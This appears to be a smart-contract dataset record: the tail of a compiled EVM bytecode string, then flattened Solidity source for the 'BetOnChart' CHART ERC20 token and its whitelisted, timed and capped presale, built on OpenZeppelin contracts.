000000000000000060448201526064016103e4565b6111638282610fb3565b6111af5760405162461bcd60e51b815260206004820152601560248201527f496e76616c6964206261746368206865616465722e000000000000000000000060448201526064016103e4565b6111b76109ae565b8151606083015173ffffffffffffffffffffffffffffffffffffffff929092169163bc05257691859160281b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b168152600481019390935260248301919091527fffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000166044820152606401600060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b5050505080600001517f6e9c082632d809680ee6227e58afd9a7c24ee8a43d61577b2e98f9e185fc630d8383602001516040516112be929190918252602082015260400190565b60405180910390a25050565b60008060006112d76109ae565b73ffffffffffffffffffffffffffffffffffffffff166324a49415856040518263ffffffff1660e01b815260040161131191815260200190565b60206040518083038186803b15801561132957600080fd5b505afa15801561133d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136191906126d4565b64ffffffffff602882901c169560509190911c945092505050565b60008082116113f35760405162461bcd60e51b815260206004820152603760248201527f4c69625f4d65726b6c65547265653a20546f74616c206c6561766573206d757360448201527f742062652067726561746572207468616e207a65726f2e00000000000000000060648201526084016103e4565b8184106114675760405162461bcd60e51b8152602060048201526024808201527f4c69625f4d65726b6c65547265653a20496e646578206f7574206f6620626f7560448201527f6e64732e0000000000000000000000000000000000000000000000000000000060648201526084016103e4565b611470826118a2565b83511461150b5760405162461bcd60e51b815260206004820152604d60248201527f4c69625f4d65726b6c65547265653a20546f74616c207369626c696e6773206460448201527f6f6573206e6f7420636f72726563746c7920636f72726573706f6e6420746f2060648201527f746f74616c206c65617665732e00000000000000000000000000000000000000608482015260a4016103e4565b8460005b84518110156115dd57856001166001141561157657848181518110611536576115366126a5565b602002602001015182604051602001611559929190918252602082015260400190565b6040516020818303038152906040528051906020012091506115c4565b81858281518110611589576115896126a5565b60200260200101516040516020016115ab929190918252602082015260400190565b6040516020818303038152906040528051906020012091505b60019590951c94806115d5816125b0565b91505061150f565b5090951495945050505050565b6000806115f6866112ca565b90925090503373ffffffffffffffffffffffffffffffffffffffff841614156116205750426116cf565b426002548264ffffffffff16611636919061255d565b106116cf5760405162461bcd60e51b815260206004820152604360248201527f43616e6e6f74207075626c69736820737461746520726f6f747320776974686960448201527f6e207468652073657175656e636572207075626c69636174696f6e2077696e6460648201527f6f772e0000000000000000000000000000000000000000000000000000000000608482015260a4016103e4565b60006040518060a001604052806116e58961075e565b81526020016116f388611985565b8152602001875181526020018464ffffffffff16815260200186815250905080600001517fbaa1d762384057169afd12b625998a5a7ed502c2e229acdbead30f3f6496399d88836020015184604001518560600151866080015160405161175e959493929190612716565b60405180910390a261176e6109ae565b73ffffffffffffffffffffffffffffffffffffffff1663e6e436c0886117938461185c565b6117bb8b866040015187606001516117ab919061255d565b602889811b91909117901b919050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b168152600481019390935260248301919091527fffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000166044820152606401600060405180830381600087803b15801561183b57600080fd5b505af115801561184f573d6000803e3d6000fd5b5050505050505050505050565b600081602001518260400151836060015184608001516040516020016118859493929190612741565b604051602081830303815290604052805190602001209050919050565b60008082116119195760405162461bcd60e51b815260206004820152603060248201527f4c69625f4d65726b6c65547265653a2043616e6e6f7420636f6d70757465206360448201527f65696c286c6f675f3229206f6620302e0000000000000000000000000000000060648201526084016103e4565b816001141561192a57506000919050565b81600060805b600181106119685780611946600180831b61262c565b901b83161561196057611959818361255d565b92811c9291505b60011c611930565b506001811b841461197e5761058c60018261255d565b9392505050565b6000808251116119fd5760405162461bcd60e51b815260206004820152603460248201527f4c69625f4d65726b6c65547265653a204d7573742070726f766964652061742060448201527f6c65617374206f6e65206c65616620686173682e00000000000000000000000060648201526084016103e4565b815160011415611a295781600081518110611a1a57611a1a6126a5565b60200260200101519050919050565b60408051610200810182527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56381527f633dc4d7da7256660a892f8f1604a44b5432649cc8ec5cb3ced4c4e6ac94dd1d60208201527f890740a8eb06ce9be422cb8da5cdafc2b58c0a5e24036c578de2a433c828ff7d818301527f3b8ec09e026fdc305365dfc94e189a81b38c7597b3d941c279f042e8206e0bd86060808301919091527fecd50eee38e386bd62be9bedb990706951b65fe053bd9d8a521af753d139e2da60808301527fdefff6d330bb5403f63b14f33b578274160de3a50df4efecf0e0db73bcdd3da560a08301527f617bdd11f7c0a11f49db22f629387a12da7596f9d1704d7465177c63d88ec7d760c08301527f292c23a9aa1d8bea7e2435e555a4a60e379a5a35f3f452bae60121073fb6eead60e08301527fe1cea92ed99acdcb045a6726b2f87107e8a61620a232cf4d7d5b5766b3952e106101008301527f7ad66c0a68c72cb89e4fb4303841966e4062a76ab97451e3b9fb526a5ceb7f826101208301527fe026cc5a4aed3c22a58cbd3d2ac754c9352c5436f638042dca99034e836365166101408301527f3d04cffd8b46a874edf5cfae63077de85f849a660426697b06a829c70dd1409c6101608301527fad676aa337a485e4728a0b240d92b3ef7b3c372d06d189322bfd5f61f1e7203e6101808301527fa2fca4a49658f9fab7aa63289c91b7c7b6c832a6d0e69334ff5b0a3483d09dab6101a08301527f4ebfd9cd7bca2505f7bef59cc1c12ecc708fff26ae4af19abe852afe9e20c8626101c08301527f2def10d13dd169f550f578bda343d9717a138562e0093b380a1120789d53cf106101e083015282518381529081018352909160009190602082018180368337505085519192506000918291508180805b6001841115611e3f57611cda600285612618565b9150611ce7600285612770565b600114905060005b82811015611d93578a611d03826002612643565b81518110611d1357611d136126a5565b602002602001015196508a816002611d2b9190612643565b611d3690600161255d565b81518110611d4657611d466126a5565b6020026020010151955086602089015285604089015287805190602001208b8281518110611d7657611d766126a5565b602090810291909101015280611d8b816125b0565b915050611cef565b508015611e0f5789611da660018661262c565b81518110611db657611db66126a5565b60200260200101519550878360108110611dd257611dd26126a5565b602002015160001b945085602088015284604088015286805190602001208a8381518110611e0257611e026126a5565b6020026020010181815250505b80611e1b576000611e1e565b60015b611e2b9060ff168361255d565b935082611e37816125b0565b935050611cc6565b89600081518110611e5257611e526126a5565b602002602001015198505050505050505050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715611edf57611edf611e69565b604052919050565b600067ffffffffffffffff831115611f0157611f01611e69565b611f3260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f86011601611e98565b9050828152838383011115611f4657600080fd5b828260208301376000602084830101529392505050565b600060a08284031215611f6f57600080fd5b60405160a0810167ffffffffffffffff8282108183111715611f9357611f93611e69565b81604052829350843583526020850135602084015260408501356040840152606085013560608401526080850135915080821115611fd057600080fd5b508301601f81018513611fe257600080fd5b611ff185823560208401611ee7565b6080830152505092915050565b6000806040838503121561201157600080fd5b82359150602083013567ffffffffffffffff81111561202f57600080fd5b61203b85828601611f5d565b9150509250929050565b60006020828403121561205757600080fd5b813567ffffffffffffffff81111561206e57600080fd5b8201601f8101841361207f57600080fd5b61058c84823560208401611ee7565b600082601f83011261209f57600080fd5b8135602067ffffffffffffffff8211156120bb576120bb611e69565b8160051b6120ca828201611e98565b92835284810182019282810190878511156120e457600080fd5b83870192505b84831015612103578235825291830191908301906120ea565b979650505050505050565b60006040828403121561212057600080fd5b6040516040810167ffffffffffffffff828210818311171561214457612144611e69565b8160405282935084358352602085013591508082111561216357600080fd5b506121708582860161208e565b6020830152505092915050565b60008060006060848603121561219257600080fd5b83359250602084013567ffffffffffffffff808211156121b157600080fd5b6121bd87838801611f5d565b935060408601359150808211156121d357600080fd5b506121e08682870161210e565b9150509250925092565b6000602082840312156121fc57600080fd5b5035919050565b6000806000806080858703121561221957600080fd5b8435935060208501359250604085013567ffffffffffffffff8082111561223f57600080fd5b61224b88838901611f5d565b9350606087013591508082111561226157600080fd5b5061226e8782880161210e565b91505092959194509250565b6000806040838503121561228d57600080fd5b823567ffffffffffffffff8111156122a457600080fd5b6122b08582860161208e565b95602094909401359450505050565b6000602082840312156122d157600080fd5b813567ffffffffffffffff8111156122e857600080fd5b61058c84828501611f5d565b60008083601f84011261230657600080fd5b50813567ffffffffffffffff81111561231e57600080fd5b60208301915083602082850101111561233657600080fd5b9250929050565b6000806000806000806080878903121561235657600080fd5b86359550602087013567ffffffffffffffff8082111561237557600080fd5b818901915089601f83011261238957600080fd5b81358181111561239857600080fd5b8a60208260051b85010111156123ad57600080fd5b602083019750809650506040890135945060608901359150808211156123d257600080fd5b506123df89828a016122f4565b979a9699509497509295939492505050565b60005b8381101561240c5781810151838201526020016123f4565b8381111561241b576000848401525b50505050565b600082516124338184602087016123f1565b7f5f4d564d5f467261756456657269666965720000000000000000000000000000920191825250601201919050565b6000815180845261247a8160208601602086016123f1565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152600061197e6020830184612462565b73ffffffffffffffffffffffffffffffffffffffff811681146109ab57600080fd5b6000602082840312156124f357600080fd5b815161197e816124bf565b6000806040838503121561251157600080fd5b825191506020830151612523816124bf565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082198211156125705761257061252e565b500190565b60006020828403121561258757600080fd5b5051919050565b6000602082840312156125a057600080fd5b8151801515811461197e57600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125e2576125e261252e565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600082612627576126276125e9565b500490565b60008282101561263e5761263e61252e565b500390565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561267b5761267b61252e565b500290565b600060ff821660ff84168060ff0382111561269d5761269d61252e565b019392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000602082840312156126e657600080fd5b81517fffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000008116811461197e57600080fd5b85815284602082015283604082015282606082015260a06080820152600061210360a0830184612462565b8481528360208201528260408201526080606082015260006127666080830184612462565b9695505050505050565b60008261277f5761277f6125e9565b50069056fe436861696e53746f72616765436f6e7461696e65722d5343432d62617463686573a26469706673582212206c5fccdebea4ea11dcb08bb156e77927775c056339234eda1b1d19ee578aa32364736f6c63430008090033
[ 4 ]
0xf209c9e2d743242e58bafda6dc3f59008ab8d8ed
pragma solidity ^0.4.23; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol /** * @title Contracts that should not own Ether * @author Remco Bloemen <remco@2π.com> * @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up * in the contract, it will allow the owner to reclaim this ether. * @notice Ether can still be sent to this contract by: * calling functions labeled `payable` * `selfdestruct(contract_address)` * mining directly to the contract address */ contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ constructor() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { owner.transfer(this.balance); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ChartToken.sol contract ChartToken is StandardToken, BurnableToken, Ownable, HasNoEther { string public constant name = "BetOnChart token"; string public constant symbol = "CHART"; uint8 public constant decimals = 18; // 1 ether bool public saleFinished; address public saleAgent; address private wallet; /** * @dev Event should be emited when sale agent changed */ event SaleAgent(address); /** * @dev ChartToken constructor * All tokens supply will be assign to contract owner. * @param _wallet Wallet to handle initial token emission. */ constructor(address _wallet) public { require(_wallet != address(0)); totalSupply_ = 50*1e6*(1 ether); saleFinished = false; balances[_wallet] = totalSupply_; wallet = _wallet; saleAgent = address(0); } /** * @dev Modifier to make a function callable only by owner or sale agent. */ modifier onlyOwnerOrSaleAgent() { require(msg.sender == owner || msg.sender == saleAgent); _; } /** * @dev Modifier to make a function callable only when a sale is finished. */ modifier whenSaleFinished() { require(saleFinished || msg.sender == saleAgent || msg.sender == wallet ); _; } /** * @dev Modifier to make a function callable only when a sale is not finished. */ modifier whenSaleNotFinished() { require(!saleFinished); _; } /** * @dev Set sale agent * @param _agent The agent address which you want to set. */ function setSaleAgent(address _agent) public whenSaleNotFinished onlyOwner { saleAgent = _agent; emit SaleAgent(_agent); } /** * @dev Handle ICO end */ function finishSale() public onlyOwnerOrSaleAgent { saleAgent = address(0); emit SaleAgent(saleAgent); saleFinished = true; } /** * @dev Overrides default ERC20 */ function transfer(address _to, uint256 _value) public whenSaleFinished returns (bool) { return super.transfer(_to, _value); } /** * @dev Overrides default ERC20 */ function transferFrom(address _from, address _to, uint256 _value) public whenSaleFinished returns (bool) { return super.transferFrom(_from, _to, _value); } } // File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: contracts/lib/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: contracts/lib/WhitelistedCrowdsale.sol /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; /** * @dev Minimal contract to whitelisted addresses */ struct Contract { uint256 rate; // Token rate uint256 minInvestment; // Minimal investment } mapping(address => bool) public whitelist; mapping(address => Contract) public contracts; /** * @dev Reverts if beneficiary is not whitelisted. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Reverts if beneficiary is not invests minimal ether amount. */ modifier isMinimalInvestment(address _beneficiary, uint256 _weiAmount) { require(_weiAmount >= contracts[_beneficiary].minInvestment); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist * @param _bonus Token bonus from 0% to 300% * @param _minInvestment Minimal investment */ function addToWhitelist(address _beneficiary, uint16 _bonus, uint256 _minInvestment) external onlyOwner { require(_bonus <= 300); whitelist[_beneficiary] = true; Contract storage beneficiaryContract = contracts[_beneficiary]; beneficiaryContract.rate = rate.add(rate.mul(_bonus).div(100)); beneficiaryContract.minInvestment = _minInvestment.mul(1 ether); } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist * @param _bonus Token bonus from 0% to 300% * @param _minInvestment Minimal investment */ function addManyToWhitelist(address[] _beneficiaries, uint16 _bonus, uint256 _minInvestment) external onlyOwner { require(_bonus <= 300); for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; Contract storage beneficiaryContract = contracts[_beneficiaries[i]]; beneficiaryContract.rate = rate.add(rate.mul(_bonus).div(100)); beneficiaryContract.minInvestment = _minInvestment.mul(1 ether); } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal isWhitelisted(_beneficiary) isMinimalInvestment(_beneficiary, _weiAmount) { super._preValidatePurchase(_beneficiary, _weiAmount); } /** * @dev The way in which ether is converted to tokens. Overrides default function. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(contracts[msg.sender].rate); } } // File: openzeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; address public tokenWallet; /** * @dev Constructor, takes token wallet address. * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale */ constructor(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transferFrom(tokenWallet, _beneficiary, _tokenAmount); } } // File: openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } // File: contracts/ChartPresale.sol contract ChartPresale is WhitelistedCrowdsale, AllowanceCrowdsale, TimedCrowdsale, CappedCrowdsale { using SafeMath for uint256; string public constant name = "BetOnChart token presale"; constructor(uint256 _rate, address _tokenWallet, address _ethWallet, ChartToken _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) public Crowdsale(_rate, _ethWallet, _token) AllowanceCrowdsale(_tokenWallet) TimedCrowdsale(_openingTime, _closingTime) CappedCrowdsale(_cap) {} }
